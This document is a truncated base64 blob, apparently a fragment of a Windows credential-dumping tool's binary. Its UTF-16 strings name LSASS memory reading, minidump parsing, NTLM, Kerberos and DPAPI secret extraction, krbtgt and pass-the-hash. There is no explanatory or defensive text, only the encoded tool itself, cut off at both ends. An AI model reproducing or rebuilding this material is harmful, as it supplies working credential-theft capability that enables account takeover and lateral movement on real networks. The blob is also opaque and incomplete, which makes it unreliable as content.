fAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABHAGEAbQBlACAAYwBvAHAAeQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABHACAAYwBvAHAAeQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABHAGwAbwBiAGEAbAAgAGMAbwBwAHkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABTAGUAYQByAGMAaAAgAGkAcwAgAEsATwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABNAGkAbgBlAHMAdwBlAGUAcABlAHIAIABOAFQAIABIAGUAYQBkAGUAcgBzAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAE0AaQBuAGUAcwB3AGUAZQBwAGUAcgAgAFAARQBCAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAATgBvACAATQBpAG4AZQBTAHcAZQBlAHAAZQByACAAaQBuACAAbQBlAG0AbwByAHkAIQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwBfAHAAYQByAHMAZQBGAGkAZQBsAGQAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIAByAGUAYQBkACAAZQBsAGUAbQBlAG4AdABzACAAZgByAG8AbQAgAGMAbwBsAHUAbQBuADoAIAAlAHUACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzAF8AcABhAHIAcwBlAEYAaQBlAGwAZAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAHIAZQBhAGQAIAByAGUAZgBlAHIAZQBuAGMAZQBzACAAZgByAG8AbQAgAGMAbwBsAHUAbQBuADoAIAAlAHUACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAXwBwAGEAcgBzAGUARgBpAGUAbABkACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAcgBlAGEAZAAgAHIAZQBmAGUAcgBlAG4AYwBlAHMACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAXwBwAGEAcgBzAGUARgBpAGUAbABkACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAcgBlAGEAZAAgAGYAaQByAHMAdAAgAGUAbABlAG0AZQBuAHQACgAAAAAAAABsAHMAYQBzAHIAdgAAAAAATHNhSUNhbmNlbE5vdGlmaWNhdGlvbgAATHNhSVJlZ2lzdGVyTm90aWZpY2F0aW9uAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAG4AdAA1AF8AaQBuAGkAdAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AcwBlAGEAcgBjAGgACgAAAAAAYgBjAHIAeQBwAHQAAAAAAEJDcnlwdE9wZW5BbGdvcml0aG1Qcm92aWRlcgAAAAAAQkNyeXB0U2V0UHJvcGVydHkAAAAAAAAAQkNyeXB0R2V0UHJvcGVydHkAAAAAAAAAQkNyeXB0R2VuZXJhdGVTeW1tZXRyaWNLZXkAAAAAAABCQ3J5cHRFbmNyeXB0AAAAQkNyeXB0RGVjcnlwdAAAAEJDcnlwdERlc3Ryb3lLZXkAAAAAAAAAAEJDcnlwdENsb3NlQWxnb3JpdGhtUHJvdmlkZXIAAAAAMwBEAEUAUwAAAAAAAAAAAEMAaABhAGkAbgBpAG4AZwBNAG8AZABlAEMAQgBDAAAAQwBoAGEAaQBuAGkAbgBnAE0AbwBkAGUAAAAAAAAAAABPAGIAagBlAGMAdABMAGUAbgBnAHQAaAAAAAAAAAAAAEEARQBTAAAAQwBoAGEAaQBuAGkAbgBnAE0AbwBkAGUAQwBGAEIAAABtAHMAdgAAAEwAaQBzAHQAcwAgAEwATQAgACYAIABOAFQATABNACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAdwBkAGkAZwBlAHMAdAAAAEwAaQBzAHQAcwAgAFcARABpAGcAZQBzAHQAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAAAAATABpAHMAdABzACAASwBlAHIAYgBlAHIAbwBzACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAAAB0AHMAcABrAGcAAAAAAAAATABpAHMAdABzACAAVABzAFAAawBnACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAbABpAHYAZQBzAHMAcAAAAEwAaQBzAHQAcwAgAEwAaQB2AGUAUwBTAFAAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAAAAAcwBzAHAAAABMAGkAcwB0AHMAIABTAFMAUAAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAAABsAG8AZwBvAG4AUABhAHMAcwB3AG8AcgBkAHMAAAAAAEwAaQBzAHQAcwAgAGEAbABsACAAYQB2AGEAaQBsAGEAYgBsAGUAIABwAHIAbwB2AGkAZABlAHIAcwAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAAAAAAAAAAAAAAFMAdwBpAHQAYwBoACAAKABvAHIAIAByAGUAaQBuAGkAdAApACAAdABvACAATABTAEEAUwBTACAAcAByAG8AYwBlAHMAcwAgACAAYwBvAG4AdABlAHgAdAAAAAAAAAAAAG0AaQBuAGkAZAB1AG0AcAAAAAAAAAAAAAAAAAAAAAAAUwB3AGkAdABjAGgAIAAoAG8AcgAgAHIAZQBpAG4AaQB0ACkAIAB0AG8AIABMAFMAQQBTAFMAIABtAGkAbgBpAGQAdQBtAHAAIABjAG8AbgB0AGUAeAB0AAAAAAAAAAAAcAB0AGgAAABQAGEAcwBzAC0AdABoAGUALQBoAGEAcwBoAAAAAAAAAGsAcgBiAHQAZwB0ACEAAABkAHAAYQBwAGkAcwB5AHMAdABlAG0AAABEAFAAQQBQAEkAXwBTAFkAUwBUAEUATQAgAHMAZQBjAHIAZQB0AAAAQQBuAHQAaQBzAG8AYwBpAGEAbAAAAAAAUAByAGUAZgBlAHIAcgBlAGQAIABCAGEAYwBrAHUAcAAgAE0AYQBzAHQAZQByACAAawBlAHkAcwAAAAAAAAAAAHQAaQBjAGsAZQB0AHMAAABMAGkAcwB0ACAASwBlAHIAYgBlAHIAbwBzACAAdABpAGMAawBlAHQAcwAAAAAAAABlAGsAZQB5AHMAAAAAAAAATABpAHMAdAAgAEsAZQByAGIAZQByAG8AcwAgAEUAbgBjAHIAeQBwAHQAaQBvAG4AIABLAGUAeQBzAAAAAAAAAEwAaQBzAHQAIABDAGEAYwBoAGUAZAAgAE0AYQBzAHQAZQByAEsAZQB5AHMAAAAAAGMAcgBlAGQAbQBhAG4AAABMAGkAcwB0ACAAQwByAGUAZABlAG4AdABpAGEAbABzACAATQBhAG4AYQBnAGUAcgAAAAAAAAAAAHMAZQBrAHUAcgBsAHMAYQAAAAAAAAAAAFMAZQBrAHUAcgBMAFMAQQAgAG0AbwBkAHUAbABlAAAAUwBvAG0AZQAgAGMAbwBtAG0AYQBuAGQAcwAgAHQAbwAgAGUAbgB1AG0AZQByAGEAdABlACAAYwByAGUAZABlAG4AdABpAGEAbABzAC4ALgAuAAAAAAAAAFMAdwBpAHQAYwBoACAAdABvACAAUABSAE8AQwBFAFMAUwAKAAAAAABTAHcAaQB0AGMAaAAgAHQAbwAgAE0ASQBOAEkARABVAE0AUAAgADoAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAG0AaQBuAGkAZAB1AG0AcAAgADsAIAA8AG0AaQBuAGkAZAB1AG0AcABmAGkAbABlAC4AZABtAHAAPgAgAGEAcgBnAHUAbQBlAG4AdAAgAGkAcwAgAG0AaQBzAHMAaQBuAGcACgAAAAAAAAAAAAAAAAAAAAAATwBwAGUAbgBpAG4AZwAgADoAIAAnACUAcwAnACAAZgBpAGwAZQAgAGYAbwByACAAbQBpAG4AaQBkAHUAbQBwAC4ALgAuAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATABTAEEAUwBTACAAcAByAG8AYwBlAHMAcwAgAG4AbwB0ACAAZgBvAHUAbgBkACAAKAA/ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABNAGkAbgBpAGQAdQBtAHAAIABwAEkAbgBmAG8AcwAtAD4ATQBhAGoAbwByAFYAZQByAHMAaQBvAG4AIAAoACUAdQApACAAIQA9ACAATQBJAE0ASQBLAEEAVABaAF8ATgBUAF8ATQBBAEoATwBSAF8AVgBFAFIAUwBJAE8ATgAgACgAJQB1ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AaQBuAGkAZAB1AG0AcAAgAHAASQBuAGYAbwBzAC0APgBQAHIAbwBjAGUAcwBzAG8AcgBBAHIAYwBoAGkAdABlAGMAdAB1AHIAZQAgACgAJQB1ACkAIAAhAD0AIABQAFIATwBDAEUAUwBTAE8AUgBfAEEAUgBDAEgASQBUAEUAQwBUAFUAUgBFAF8AQQBNAEQANgA0ACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AaQBuAGkAZAB1AG0AcAAgAHcAaQB0AGgAbwB1AHQAIABTAHkAcwB0AGUAbQBJAG4AZgBvAFMAdAByAGUAYQBtACAAKAA/ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABLAGUAeQAgAGkAbQBwAG8AcgB0AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABMAG8AZwBvAG4AIABsAGkAcwB0AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABNAG8AZAB1AGwAZQBzACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAHMACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AZQBtAG8AcgB5ACAAbwBwAGUAbgBpAG4AZwAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABIAGEAbgBkAGwAZQAgAG8AbgAgAG0AZQBtAG8AcgB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAEwAbwBjAGEAbAAgAEwAUwBBACAAbABpAGIAcgBhAHIAeQAgAGYAYQBpAGwAZQBkAAoAAAAAAAAAAAAJACUAcwAgADoACQAAAAAAVQBuAGQAZQBmAGkAbgBlAGQATABvAGcAbwBuAFQAeQBwAGUAAAAAAFUAbgBrAG4AbwB3AG4AIAAhAAAAAAAAAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAAAE4AZQB0AHcAbwByAGsAAABCAGEAdABjAGgAAAAAAAAAUwBlAHIAdgBpAGMAZQAAAFAAcgBvAHgAeQAAAAAAAABVAG4AbABvAGMAawAAAAAATgBlAHQAdwBvAHIAawBDAGwAZQBhAHIAdABlAHgAdAAAAAAAAAAAAE4AZQB3AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAUgBlAG0AbwB0AGUASQBuAHQAZQByAGEAYwB0AGkAdgBlAAAAAAAAAEMAYQBjAGgAZQBkAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAAAAAAAABDAGEAYwBoAGUAZABSAGUAbQBvAHQAZQBJAG4AdABlAHIAYQBjAHQAaQB2AGUAAABDAGEAYwBoAGUAZABVAG4AbABvAGMAawAAAAAAAAAAAAoAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuACAASQBkACAAOgAgACUAdQAgADsAIAAlAHUAIAAoACUAMAA4AHgAOgAlADAAOAB4ACkACgBTAGUAcwBzAGkAbwBuACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQBzACAAZgByAG8AbQAgACUAdQAKAFUAcwBlAHIAIABOAGEAbQBlACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAKAEQAbwBtAGEAaQBuACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAKAEwAbwBnAG8AbgAgAFMAZQByAHYAZQByACAAIAAgACAAIAAgADoAIAAlAHcAWgAKAAAAAAAAAAAATABvAGcAbwBuACAAVABpAG0AZQAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAUwBJAEQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAUAByAGUAdgBpAG8AdQBzAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBrAHIAYgB0AGcAdAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGYAaQBuAGQAIABLAEQAQwAgAHAAYQB0AHQAZQByAG4AIABpAG4AIABMAFMAQQBTAFMAIABtAGUAbQBvAHIAeQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AawByAGIAdABnAHQAIAA7ACAASwBEAEMAIABzAGUAcgB2AGkAYwBlACAAbgBvAHQAIABpAG4AIABMAFMAQQBTAFMAIABtAGUAbQBvAHIAeQAKAAAACgAlAHMAIABrAHIAYgB0AGcAdAA6ACAAAAAAAAAAAAAlAHUAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMACgAAAAkAIAAqACAAJQBzACAAOgAgAAAAAAAAAEQAUABBAFAASQBfAFMAWQBTAFQARQBNAAoAAAAAAAAAZgB1AGwAbAA6ACAAAAAAAAoAbQAvAHUAIAA6ACAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AZABwAGEAcABpAF8AcwB5AHMAdABlAG0AIAA7ACAATgBvAHQAIABpAG4AaQB0AGkAYQBsAGkAegBlAGQAIQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGQAcABhAHAAaQBfAHMAeQBzAHQAZQBtACAAOwAgAFAAYQB0AHQAZQByAG4AIABuAG8AdAAgAGYAbwB1AG4AZAAgAGkAbgAgAEQAUABBAFAASQAgAHMAZQByAHYAaQBjAGUACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBkAHAAYQBwAGkAXwBzAHkAcwB0AGUAbQAgADsAIABEAFAAQQBQAEkAIABzAGUAcgB2AGkAYwBlACAAbgBvAHQAIABpAG4AIABMAFMAQQBTAFMAIABtAGUAbQBvAHIAeQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwB0AHIAdQBzAHQAIAA7ACAAUABhAHQAdABlAHIAbgAgAG4AbwB0ACAAZgBvAHUAbgBkACAAaQBuACAASwBEAEMAIABzAGUAcgB2AGkAYwBlAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHQAcgB1AHMAdAAgADsAIABLAEQAQwAgAHMAZQByAHYAaQBjAGUAIABuAG8AdAAgAGkAbgAgAEwAUwBBAFMAUwAgAG0AZQBtAG8AcgB5AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AdAByAHUAcwB0ACAAOwAgAE8AbgBsAHkAIABmAG8AcgAgAD4APQAgADIAMAAwADgAcgAyAAoAAAAAAAAACgAgACAAWwAlAHMAXQAgAAAAAAAAAAAALQA+ACAAJQB3AFoACgAAACUAdwBaACAALQA+AAoAAAAJAGYAcgBvAG0AOgAgAAAACQAqACAAJQBzACAAOgAgAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGIAawBlAHkAIAA7ACAAUABhAHQAdABlAHIAbgAgAG4AbwB0ACAAZgBvAHUAbgBkACAAaQBuACAARABQAEEAUABJACAAcwBlAHIAdgBpAGMAZQAKAAAAAAAAAAAAaQBtAHAAZQByAHMAbwBuAGEAdABlAAAAcgB1AG4AAAB5AGUAcwAAAG4AbwAAAAAAAAAAAAAAAAB1AHMAZQByAAkAOgAgACUAcwAKAGQAbwBtAGEAaQBuAAkAOgAgACUAcwAKAHAAcgBvAGcAcgBhAG0ACQA6ACAAJQBzAAoAaQBtAHAAZQByAHMALgAJADoAIAAlAHMACgAAAAAAAAAAAEEARQBTADEAMgA4AAkAOgAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQQBFAFMAMQAyADgAIABrAGUAeQAgAGwAZQBuAGcAdABoACAAbQB1AHMAdAAgAGIAZQAgADMAMgAgACgAMQA2ACAAYgB5AHQAZQBzACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQQBFAFMAMQAyADgAIABrAGUAeQAgAG8AbgBsAHkAIABzAHUAcABwAG8AcgB0AGUAZAAgAGYAcgBvAG0AIABXAGkAbgBkAG8AdwBzACAAOAAuADEAIAAoAG8AcgAgADcALwA4ACAAdwBpAHQAaAAgAGsAYgAyADgANwAxADkAOQA3ACkACgAAAEEARQBTADIANQA2AAkAOgAgAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABBAEUAUwAyADUANgAgAGsAZQB5ACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAANgA0ACAAKAAzADIAIABiAHkAdABlAHMAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABBAEUAUwAyADUANgAgAGsAZQB5ACAAbwBuAGwAeQAgAHMAdQBwAHAAbwByAHQAZQBkACAAZgByAG8AbQAgAFcAaQBuAGQAbwB3AHMAIAA4AC4AMQAgACgAbwByACAANwAvADgAIAB3AGkAdABoACAAawBiADIAOAA3ADEAOQA5ADcAKQAKAAAATgBUAEwATQAJADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAbgB0AGwAbQAgAGgAYQBzAGgALwByAGMANAAgAGsAZQB5ACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAAMwAyACAAKAAxADYAIABiAHkAdABlAHMAKQAKAAAAIAAgAHwAIAAgAFAASQBEACAAIAAlAHUACgAgACAAfAAgACAAVABJAEQAIAAgACUAdQAKAAAAAAAgACAAfAAgACAATABVAEkARAAgACUAdQAgADsAIAAlAHUAIAAoACUAMAA4AHgAOgAlADAAOAB4ACkACgAAAAAAIAAgAFwAXwAgAG0AcwB2ADEAXwAwACAAIAAgAC0AIAAAAAAAAAAAACAAIABcAF8AIABrAGUAcgBiAGUAcgBvAHMAIAAtACAAAAAAAAAAAAAqACoAIABUAG8AawBlAG4AIABJAG0AcABlAHIAcwBvAG4AYQB0AGkAbwBuACAAKgAqAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABTAGUAdABUAGgAcgBlAGEAZABUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAARAB1AHAAbABpAGMAYQB0AGUAVABvAGsAZQBuAEUAeAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAEcAZQB0AFQAbwBrAGUAbgBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzAFQAbwBrAGUAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAEMAcgBlAGEAdABlAFAAcgBvAGMAZQBzAHMAVwBpAHQAaABMAG8AZwBvAG4AVwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAATQBpAHMAcwBpAG4AZwAgAGEAdAAgAGwAZQBhAHMAdAAgAG8AbgBlACAAYQByAGcAdQBtAGUAbgB0ACAAOgAgAG4AdABsAG0ALwByAGMANAAgAE8AUgAgAGEAZQBzADEAMgA4ACAATwBSACAAYQBlAHMAMgA1ADYACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAATQBpAHMAcwBpAG4AZwAgAGEAcgBnAHUAbQBlAG4AdAAgADoAIABkAG8AbQBhAGkAbgAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAE0AaQBzAHMAaQBuAGcAIABhAHIAZwB1AG0AZQBuAHQAIAA6ACAAdQBzAGUAcgAKAAAAAAAAAAAACgAJACAAKgAgAFUAcwBlAHIAbgBhAG0AZQAgADoAIAAlAHcAWgAKAAkAIAAqACAARABvAG0AYQBpAG4AIAAgACAAOgAgACUAdwBaAAAAAAAKAAkAIAAqACAATABNACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAACgAJACAAKgAgAE4AVABMAE0AIAAgACAAIAAgADoAIAAAAAAAAAAAAAoACQAgACoAIABTAEgAQQAxACAAIAAgACAAIAA6ACAAAAAAAAAAAAAKAAkAIAAqACAAUgBhAHcAIABkAGEAdABhACAAOgAgAAAAAAAAAAAACgAJACAAKgAgAFMAbQBhAHIAdABjAGEAcgBkAAAAAAAKAAkAIAAgACAAIAAgAFAASQBOACAAYwBvAGQAZQAgADoAIAAlAHcAWgAAAAAAAAAKAAkAIAAgACAAIAAgAEMAYQByAGQAIAAgACAAIAAgADoAIAAlAHMACgAJACAAIAAgACAAIABSAGUAYQBkAGUAcgAgACAAIAA6ACAAJQBzAAoACQAgACAAIAAgACAAQwBvAG4AdABhAGkAbgBlAHIAOgAgACUAcwAKAAkAIAAgACAAIAAgAFAAcgBvAHYAaQBkAGUAcgAgADoAIAAlAHMAAAAAAAAAAAAJACAAIAAgACUAcwAgAAAAPABuAG8AIABzAGkAegBlACwAIABiAHUAZgBmAGUAcgAgAGkAcwAgAGkAbgBjAG8AcgByAGUAYwB0AD4AAAAAACUAdwBaAAkAJQB3AFoACQAAAAAAAAAAAAoACQAgACoAIABVAHMAZQByAG4AYQBtAGUAIAA6ACAAJQB3AFoACgAJACAAKgAgAEQAbwBtAGEAaQBuACAAIAAgADoAIAAlAHcAWgAKAAkAIAAqACAAUABhAHMAcwB3AG8AcgBkACAAOgAgAAAAAABMAFUASQBEACAASwBPAAoAAAAAAAAAAAAKAAkAIAAqACAAUgBvAG8AdABLAGUAeQAgACAAOgAgAAAAAAAAAAAACgAJACAAKgAgAEQAUABBAFAASQAgACAAIAAgADoAIAAAAAAAAAAAAAoACQAgACoAIAAlADAAOAB4ACAAOgAgAAAAAAAAAAAACgAJACAAIAAgACoAIABMAFMAQQAgAEkAcwBvAGwAYQB0AGUAZAAgAEQAYQB0AGEAOgAgACUALgAqAFMAAAAAAAoACQAgACAAIAAgACAAVQBuAGsALQBLAGUAeQAgACAAOgAgAAAAAAAKAAkAIAAgACAAIAAgAEUAbgBjAHIAeQBwAHQAZQBkADoAIAAAAAAACgAJAAkAIAAgACAAUwBTADoAJQB1ACwAIABUAFMAOgAlAHUALAAgAEQAUwA6ACUAdQAAAAAAAAAKAAkACQAgACAAIAAwADoAMAB4ACUAeAAsACAAMQA6ADAAeAAlAHgALAAgADIAOgAwAHgAJQB4ACwAIAAzADoAMAB4ACUAeAAsACAANAA6ADAAeAAlAHgALAAgAEUAOgAAAAAAAAAAACwAIAA1ADoAMAB4ACUAeAAAAAAAAAAAAAoACQAgAFsAJQAwADgAeABdAAAAAAAAAGQAcABhAHAAaQBzAHIAdgAuAGQAbABsAAAAAAAAAAAACQAgAFsAJQAwADgAeABdAAoACQAgACoAIABHAFUASQBEACAAIAAgACAAIAAgADoACQAAAAAAAAAKAAkAIAAqACAAVABpAG0AZQAgACAAIAAgACAAIAA6AAkAAAAAAAAACgAJACAAKgAgAE0AYQBzAHQAZQByAEsAZQB5ACAAOgAJAAAAAAAAAAoACQAgACoAIABzAGgAYQAxACgAawBlAHkAKQAgADoACQAAAAAAAAAKAAkASwBPAAAAAAAAAAAAawBlAHIAYgBlAHIAbwBzAC4AZABsAGwAAAAAAAAAAABUAGkAYwBrAGUAdAAgAEcAcgBhAG4AdABpAG4AZwAgAFMAZQByAHYAaQBjAGUAAABDAGwAaQBlAG4AdAAgAFQAaQBjAGsAZQB0ACAAPwAAAFQAaQBjAGsAZQB0ACAARwByAGEAbgB0AGkAbgBnACAAVABpAGMAawBlAHQAAAAAAAoACQBHAHIAbwB1AHAAIAAlAHUAIAAtACAAJQBzAAAACgAJACAAKgAgAEsAZQB5ACAATABpAHMAdAAgADoACgAAAAAAAAAAAGQAYQB0AGEAIABjAG8AcAB5ACAAQAAgACUAcAAAAAAACgAgACAAIABcAF8AIAAlAHMAIAAAAAAALQA+ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGUAbgB1AG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBjAGEAbABsAGIAYQBjAGsAXwBwAHQAaAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYwBvAHAAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAACgAgACAAIABcAF8AIAAqAFAAYQBzAHMAdwBvAHIAZAAgAHIAZQBwAGwAYQBjAGUAIAAtAD4AIAAAAAAAAAAAAG4AdQBsAGwAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGsAZQByAGIAZQByAG8AcwBfAGUAbgB1AG0AXwB0AGkAYwBrAGUAdABzACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHcAcgBpAHQAZQBEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAACgAJACAAIAAgAEwAUwBBACAAUwBlAHMAcwBpAG8